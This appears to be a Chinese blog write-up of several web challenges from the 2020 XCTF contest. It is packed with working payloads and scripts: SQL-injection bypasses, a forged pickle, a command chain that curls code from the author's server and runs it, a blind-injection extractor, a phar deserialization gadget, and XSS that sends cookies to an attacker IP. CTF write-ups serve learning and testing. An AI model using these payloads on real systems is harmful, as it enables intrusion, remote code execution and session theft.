XCTF高校战"疫"分享赛

sqlcheckin

sql注入
https://blog.csdn.net/nzjdsds/article/details/82980041

直接看例子:
在这里插入图片描述
like也是一样
在这里插入图片描述
false false 得到true,令username:xxx'=',password:xxx'=',payload:
char(61)用来绕过=

username=xxx'%2bchar(61)%2b'&password=xxx'%2bchar(61)%2b'

在这里插入图片描述

webtmp

源码

import base64
import io
import sys
import pickle

from flask import Flask, Response, render_template, request
import secret


app = Flask(__name__)


class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category

    def __repr__(self):
        return f'Animal(name={self.name!r}, category={self.category!r})'

    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()


def read(filename, encoding='utf-8'):
    with open(filename, 'r', encoding=encoding) as fin:
        return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.args.get('source'):
        return Response(read(__file__), mimetype='text/plain')

    if request.method == 'POST':
        try:
            pickle_data = request.form.get('data')
            if b'R' in base64.b64decode(pickle_data):
                return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
            else:
                result = restricted_loads(base64.b64decode(pickle_data))
                if type(result) is not Animal:
                    return 'Are you sure that is an animal???'
            correct = (result == Animal(secret.name, secret.category))
            return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
        except Exception as e:
            print(repr(e))
            return "Something wrong"

    sample_obj = Animal('一给我哩giaogiao', 'Giao')
    pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
    return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

大致意思就是用Animal这个类,传入name和category参数,然后去和题目里secret.name和secret.category去比,并且过滤掉了R,这个R就是R指令,也就是__reduce__函数
在这里插入图片描述
顺带说一下,有一个python自带的pickle调试器pickletools很好用,可以看具体pickle的内容,如:
pickletools.dis(pickle.dumps(Animal('dog','bark'))),此时pickle的数据为:

b'\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00dogq\x04X\x08\x00\x00\x00categoryq\x05X\x04\x00\x00\x00barkq\x06ub.'

经过pickletools之后就变得很清楚了
在这里插入图片描述
可以对照着修改值,然后在想尝试直接将dog更改为cseret\n\name\n(这个c也就是c指令,就是global全局变量)时出现了错误,因为这里只允许c指令包含__main__这一个module

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

可以看一下这篇文章
https://zhuanlan.zhihu.com/p/89132768
大概原理如下:
在这里插入图片描述
根据原先Animal生成的pickle,构造一个secret的pickle,然后放入一个{'name':'dog','category':'bark'}的Animal字典
原先的Animal pickle

b'\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00dogq\x04X\x08\x00\x00\x00categoryq\x05X\x04\x00\x00\x00barkq\x06ub.'

构造一下:

b'\x80\x03c__main__\nsecret\nq\x00}(Vname\nVdog\nVcategory\nVbark\nub0c__main__\nAnimal\n)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00dogq\x04X\x08\x00\x00\x00categoryq\x05X\x04\x00\x00\x00barkq\x06ub.'

base64

b'gANjX19tYWluX18Kc2VjcmV0CnEAfShWbmFtZQpWZG9nClZjYXRlZ29yeQpWYmFyawp1YjBjX19tYWluX18KQW5pbWFsCimBcQF9cQIoWAQAAABuYW1lcQNYAwAAAGRvZ3EEWAgAAABjYXRlZ29yeXEFWAQAAABiYXJrcQZ1Yi4='

在这里插入图片描述

Hackme

www.zip获得源码
在这里插入图片描述
session serialize处理器不同
在这里插入图片描述
观察到这里会判断admin是否为1,并且该值由session得到,所以只要找到一个地方能存入session即可
upload_sign.php恰好可以存入
在这里插入图片描述
而upload.php包含了upload_sign.php
在这里插入图片描述
首先在profile.php页面令this->admin=1,序列化一下得到

O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:0:"";}

w4|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";N;}
在这里插入图片描述
在这里插入图片描述
https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51

代码中禁止了data://协议,可以用compress.zlib://协议代替,并且parse_url($url)['host']需要匹配到127.0.0.1,可以构造成如下:

compress.zlib://data:@127.0.0.1/plain;base64,

加一个@会把前面的data:当作用户user
在这里插入图片描述
然后是<=4个字符的exec
https://www.anquanke.com/post/id/87203
在这里插入图片描述
首先在服务器上写上这样的index.html
在这里插入图片描述
然后写脚本:

# encoding=utf-8
import requests
import base64
import time
import random
url='http://121.36.222.22:88/core/index.php'
cookies={
    'PHPSESSID':'17336d5cbf57129cce902289ffc3a97a'
}
#换上服务器ip
shell_ip = 'xx.xx.xx.xx'
ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2)) for i in shell_ip.split('.')])
print(ip)
pos0 = 'f'
pos1 = 'h'
pos2 = 'g'  # 随意选择字符
s = [
    '>dir',
    '>%s\>' % pos0,
    '>%st-' % pos1,
    '>sl',
    '*>v',
    '>rev',
    '*v>%s' % pos2,
    '>p',
    '>ph\\',
    '>\|\\',
    #服务器ip的十位hex
    '>xx\\',
    '>xx\\',
    '>xx\\',
    '>xx\\',
    '>0x\\',
    '>\ \\',
    '>rl\\',
    '>cu\\',
    'sh ' + pos2,
    'sh ' + pos0,
]
payload1 = 'compress.zlib://data:@127.0.0.1/plain;base64,{0}'
url2='http://121.36.222.22:88/core/sandbox/a0eaaa9fe99c2be982afa4325bdaa05e/'
for i in s:
    r = requests.post(url,cookies=cookies ,data={"url": payload1.format(base64.b64encode(i.encode()).decode())})
    print(r.text)
    #print(payload1.format(base64.b64encode(i.encode()).decode()))
    time.sleep(0.5)

注意这里特殊符号例如>或空格都需要转义,之后访问
在这里插入图片描述
在这里插入图片描述

php uaf:

php7.4 bypass:
https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php

nweb

注册页面有一个隐藏的type,并且给了110提示,

email=w&pass=123&repass=123&type=110

登陆账号,在search.php有布尔注入点,过滤from双写绕过

import requests
import time
url='http://121.37.179.47:1001/search.php'
payload='''1'or if(((ascii(mid((seselectlect group_concat(pwd) frfromom admin),{},1)))>{}),1,0)#'''
cookies={
    'username':'f1290186a5d0b1ceab27f4e77c0c5d68',
    'PHPSESSID':'21232f297a57a5a743894a0e4a801fc3'
}
text=''
for i in range(1,35):
    l=28
    h=126
    while abs(h - l) > 1:
        m=(l+h)/2
        data={
            'flag':payload.format(i,m)
        }
        t=time.time()
        re=requests.post(url,cookies=cookies,data=data)
        #print(re.text)
        if 'There is flag' in re.text:
            l=m
        else:
            h=m
    mid_num = int((l + h + 1) / 2)
    text += chr(int(h))
    print(text)
#flag->fl4g flag{Rogue-MySql-Server
#username,pwd,qq->admin e2ecea8b80a96fb07f43a2f83c8b0960

查到一半flag以及md5加密的密码,解密一下是whoamiadmin,在admin.html登陆后台:
在这里插入图片描述
是一个mysql服务端伪造任意读取文件的漏洞,利用脚本:
https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

将脚本中的端口(对应即可),要读的文件改一下运行,填入ip和端口连接
在这里插入图片描述
自动写入mysql.log文件:
在这里插入图片描述
flag{Rogue-MySql-Server-is-nday}

以下是复现的题

webct

www.zip源码
在这里插入图片描述
一个上传文件一个sql连接,看了好几遍都没思路,看到这个__call也没反序列化的点
在这里插入图片描述
原来是上传phar文件,然后用nweb那题的mysql伪造,将文件改为phar://....触发,真是没想到

<?php
error_reporting(0);

class Fileupload
{
    public $file;
    function __construct()
    {
        $this->file = new Listfile;
    }
    function __destruct()
    {
        $this->file->xs();
    }
}

class Listfile
{
    public $file;

    function __construct()
    {
        $this->file = '/;/readflag;';
    }

    function __call($name, $arguments)
    {
        system("ls " . $this->file);
    }
}

$a = new Fileupload();
var_dump($a);
$phar = new Phar('1.phar');
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
rename('1.phar','1.jpg');
?>

生成文件之后上传得到路径,运行python文件,替换文件为 :

phar://./uploads/c98b2784ceb4968f6a1b49a2b2a505a0/551ccbaef945b2c4f3ca88361f08d600.jpg

payload:

ip=xx.xx.xx.xx%3A3307&user=xxx&password=xxx&option=8

然后客户端访问该文件触发phar
在这里插入图片描述

fmkq

源码:

<?php
error_reporting(0);
if(isset($_GET['head'])&&isset($_GET['url'])){
    $begin = "The number you want: ";
    extract($_GET);
    if($head == ''){
        die('Where is your head?');
    }
    if(preg_match('/[A-Za-z0-9]/i',$head)){
        die('Head can\'t be like this!');
    }
    if(preg_match('/log/i',$url)){
        die('No No No');
    }
    if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){
        die('Don\'t use strange protocol!');
    }
    $funcname = $head.'curl_init';

    $ch = $funcname();
    if($ch){
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        curl_close($ch);
    }
    else{
        $output = 'rua';
    }
    echo sprintf($begin.'%d',$output);
}
else{
    show_source(__FILE__);
}

head不能有数字或字母,若绕过则被拼接并执行

    $funcname = $head.'curl_init';
    $ch = $funcname();

url不能包含log,不能使用这些协议:gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp: ,若绕过则进行curl

由于最后输出是sprintf,所以可以用格式化字符串漏洞%s%显示

?head=\&begin=%s%&url=http://127.0.0.1:8080

(head用\绕过没太懂)
在这里插入图片描述
然后提示readfile的两种方法:
有vipcode情况下

/read/file=example&vipcode=example

无vipcode情况下

/read/file=/tmp/{file}&vipcode=0

首先看一下file的内容,猜测应该是一个python对象,因为可以用__dict__得到值:

{file.__dict__}

在这里插入图片描述
继续看vip的内容:

{file.vip.__dict__}

得到vipcode
在这里插入图片描述
看一下根目录得到flag路径
在这里插入图片描述
但是直接读不得行
/fl4g_1s_h3re_u_wi11_rua/flag
在这里插入图片描述
过滤了fl4g,需要用切割拼接绕过,payload:
http://121.37.179.47:1101/head=\&begin=%s%&url=http://127.0.0.1:8080/read/file=/{vipfile.file[0]}l4g_1s_h3re_u_wi11_rua/flag%26vipcode=KIw4Mslkq6hAQTErmF7GLgiSxZV8BU29WzaYyfRv0CnHe13b
在这里插入图片描述

happyvacation

考点:代码审计,宽字节xss
出题人笔记:https://imagin.vip/?p=735
首先需要知道个知识点:
clone在php中起到一个对象复制的作用,例如:

$a=new test();
$b=clone $a;

此时$b就得到了一个a对象的一个复制,这种复制在某些复杂的情况下会很大提示代码效率

但是如果$a中新建了另外一个对象,此时$b得到的原来的类+一个子类,如果对$b中的属性进行修改,那么会导致$a中的对应属性也会被修改:

<?php
class A{
    public function __construct(){
    $this->s=new son();
}
}
class son{
    function __construct(){
        $this->test = 111;
    }

}
$a=new A();
$b=clone $a;
echo $a->s->test."<br>";  111
$b->s->test=222;
echo $a->s->test."<br>";  222
echo $b->s->test;         222

不过php有一个__clone()方法可以在clone时修改属性(如果必要的话)

回到题目
Githack获得源码
在这里插入图片描述
在index.php页面可以输入username和message,username随便,只是表示你登陆与否,而输入message的话会直接在页面上显示出来,两边的script可以判断是xss
在这里插入图片描述看一下message代码:
在这里插入图片描述
跟进两层,发现有过滤
在这里插入图片描述
并且最后会转义,转义+单引号逃逸想到宽字节注入

在lib.php的UrlHelper类下观察到一处可以更改httphead的地方,前提是可控
在这里插入图片描述
这里被写死了为location跳转:
在这里插入图片描述
想要改成gbk首先要突破这个,在quiz.php处接受一个answer参数,跟进answer方法
在这里插入图片描述
会发现这里使用了clone复制,并且调用了eval方法将answer=False
在这里插入图片描述
上面说过clone在被复制对象中创建一个新类后,复制对象属性改变会导致原类属性的改变
看一下user类
在这里插入图片描述
之前我们需要改的是UrlHelper下的pre,上面url正好新建了一个Urlhelper对象
在这里插入图片描述
现在所需要的就是让复制类可控,结合上面的eval,我们令$answer=user->url->pre
eval本来是这:

eval("\$this->".$answer." = false;");

此时:

eval("\$this->user->url->pre = false;");

this->user为复制类,复制类中的url->pre改了,被复制类$user->url->pre也被改了,$user->url=new UrlHelper(),所以UrlHelper::pre成为了Flase

然后就是想令location可控了,回到quiz.php看第二个参数referer:
在这里插入图片描述
跟进
在这里插入图片描述
$user->url->referer默认为index,传入

referer=Content-Type: text/html; charset=GBK; Referer: index

$user->url->referer已改变,重新请求一次,在这里进入if成功更改location的值
在这里插入图片描述
payload:

/quiz.php?referer=Content-Type: text/html; charset=GBK; Referer: index&answer=user->url->pre

在这里插入图片描述
xss:
方法一:
上传文件,内容为(只要能上传的后缀就行)

window.open('http://xx.xx.xx.xx:3333/?'+document.cookie);

得到路径,然后构造message:

//b=script,c=文件路径./upload/...
/index.php?message=%df%27;var b = String.fromCharCode(115,99,114,105,112,116);
var c = String.fromCharCode(46,47,117,112,108,111,97,100,47,52,55,54,99,101,48,54,56,100,49,55,99,51,55,102,50,99,52,100,100,55,97,48,54,50,51,48,50,100,99,55,53,46,119,97,118,101);
x=document.createElement(b);x.src=c;document.body.appendChild(x);

然后监听3333端口,去ask.php输入md5值让bot触发
在这里插入图片描述
方法二:
不上传文件直接:

//d=document,c=cookie,w=window,o=open 
//=>self[window].open(ip+self[document][cookie])
1%df%27;var d=String.fromCharCode(100,111,99,117,109,101,110,116);
var c =String.fromCharCode(99,111,111,107,105,101);
var w=String.fromCharCode(119,105,110,100,111,119);
var o=String.fromCharCode(111,112,101,110);
//替换为ip:port的ascii码值
var ip = String.fromCharCode();self[w].open(ip%2bself[d][c]);//

在这里插入图片描述

小结

这此比赛感觉挺有收获的,学到很多知识点,不过出的题还是太少了emmm

posted @ 2020-03-10 01:12  W4nder  阅读(709)  评论(2编辑  收藏  举报